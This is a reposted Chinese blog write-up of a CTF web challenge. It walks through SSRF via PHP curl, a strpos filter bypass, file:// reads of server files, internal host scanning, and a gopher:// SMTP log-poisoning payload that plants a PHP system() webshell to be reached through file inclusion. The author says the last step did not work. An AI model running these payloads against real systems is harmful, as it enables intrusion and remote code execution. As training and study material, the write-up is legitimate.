前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一个CTF题目

一个CTF题目

作者头像
用户5878089
发布2019-07-23 10:46:25
2.5K1
发布2019-07-23 10:46:25
举报
文章被收录于专栏:网络攻防实战知识交流

第一步

访问得到源码

代码语言:javascript
复制
 <?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
        exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result; 

发现是使用php的curl

那估计是ssrf了,但是禁用了php

墨迹了一会找到了这么一个链接

代码语言:javascript
复制
https://bugs.php.net/bug.php?id=76671

出现的原因就是php的strpos对参数解码存在问题,所以可以绕过

然后就可以信息搜集了,使用file协议得到源码

代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=file:///var/www/html/index.%2570hp

但是并没有什么用

访问

代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=file:///var/www/html/flag.%2570hp

提示

代码语言:javascript
复制
<?php
//there is no flag /etc/hosts 

第二步

访问

代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=file:////etc/hosts 

得到

代码语言:javascript
复制
127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::0    ip6-localnet
ff00::0    ip6-mcastprefix
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
172.18.0.3    47e73bbfab79

内网的ip就出来了,然后就可以进行主机扫描了

得到一个172.18.0.2

然后访问

代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=172.18.0.2

得到

代码语言:javascript
复制
<!-- include $_GET[a]; -->

可以文件包含,可是并没有得到其他的什么信息。

第三步

怀疑还有其他的坑,于是就继续测试,先扫描一下端口,发现25端口开放,访问一波

代码语言:javascript
复制
220 mail.web.com ESMTP Postfix (Ubuntu)
221 2.7.0 Error: I can break rules, too. Goodbye.

是个smtp协议

我们现在有的信息是smtp的一个应用,然后还有一个文件包含漏洞

查看配置文件

代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=http://172.18.0.2?a=/etc/postfix/main.cf
代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=http:%2f%2f172.18.0.2?a=/var/log/maillog

第四步

介绍一个神器

代码语言:javascript
复制
python gopherus.py --exploit smtp

http://www.webbaozi.com/sygj/104.html

通过gopher 协议打内网

使其产生日志,然后文件包含 getsll

代码语言:javascript
复制
gopher://127.0.0.1:25/_MAIL%20FROM:%3C%3Fphp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ARCPT%20To:asdf%0ADATA%0AFrom:%3C%3Fphp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ASubject:asdfgh%0AMessage:asdfghjkl%0A.
代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=gopher://172.18.0.2:25/_MAIL%20FROM:%3C%3F%2570hp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ARCPT%20To:asdf%0ADATA%0AFrom:%3C%3F%2570hp%20%40eval%28system%28%24_GET%5Bb%5D%29%29%3B%3F%3E%0ASubject:asdfgh%0AMessage:asdfghjkl%0A.
代码语言:javascript
复制
view-source:http://101.71.29.5:10012/?x=http://172.18.0.2?a=%2570hp://filter/read=convert.base64-encode/resource=/var/log/mail.log

后来才知道,这是因为php编码出现问题了

所以题目没法做了

嗯嗯 尴尬了

不知道哪里的题目,出的还算综合,没有什么脑洞。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第一步
  • 第二步
  • 第三步
  • 第四步
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档